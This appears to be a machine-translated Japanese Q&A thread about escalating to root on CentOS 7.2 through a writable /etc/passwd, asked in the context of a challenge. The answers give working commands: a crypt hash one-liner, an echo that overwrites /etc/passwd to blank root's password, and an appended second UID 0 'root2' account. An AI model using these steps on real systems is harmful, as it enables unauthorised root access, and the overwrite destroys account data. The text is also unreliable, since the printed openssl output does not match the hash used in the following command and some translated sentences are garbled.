システムに書き込み可能な/ etc/passwdファイルがある場合、権限をrootにエスカレートするにはどうすればよいですか?私は現在、特権の少ないユーザーです。不思議に思っている場合に備えて、基盤となるOSはCentOS 7.2です。
Passwdファイルは通常、誰でも書き込み可能ではないことを知っています。現在のシナリオでチャレンジを行っています。
悪用へのステップは非常に役立ちます
パスワードは通常 _/etc/shadow
_ に保存され、ユーザーは読み取ることができません。ただし、歴史的には、これらはすべてのアカウント情報とともに、世界中で読み取り可能なファイル _/etc/passwd
_ に格納されていました。下位互換性のため、_/etc/passwd
_の2番目の列にパスワードハッシュが存在する場合、_/etc/shadow
_のパスワードハッシュよりも優先されます。
歴史的に、_/etc/passwd
_の2番目のフィールドが空の場合は、アカウントにパスワードがないことを意味します。つまり、誰でもパスワードなしでログインできます(ゲストアカウントに使用されます)。これは時々無効になります。パスワードなしのアカウントが無効になっている場合は、選択したパスワードのハッシュを置くことができます。 crypt
関数を使用してパスワードハッシュを生成できます。たとえば、Perl -le 'print crypt("foo", "aa")'
を使用してパスワードをfoo
に設定できます。
_/etc/passwd
_にのみ追加でき、内容を上書きできない場合でも、ルートアクセスを取得することは可能です。これは、ユーザーが異なる名前を持っている限り、同じユーザーに対して複数のエントリを持つ可能性があるためです。ユーザーは名前ではなくIDで識別され、ルートアカウントの定義機能はその名前ではなく、にはユーザーID 0があります。したがって、別の名前のアカウントを宣言する行、任意のパスワード、ユーザーID 0を追加することで、代替のrootアカウントを作成できます。
入力するだけです:
echo root::0:0:root:/root:/bin/bash > /etc/passwd
su
そしてあなたは根です。
(x
を削除すると、rootはパスワードを必要としなくなります。sed
の代わりにecho
コマンドを使用できますが、これでrootシェルを取得できます)
この非破壊的な方法を使用できます。
# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE
# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd
# to switch to a root2
su root2
Password: mrcake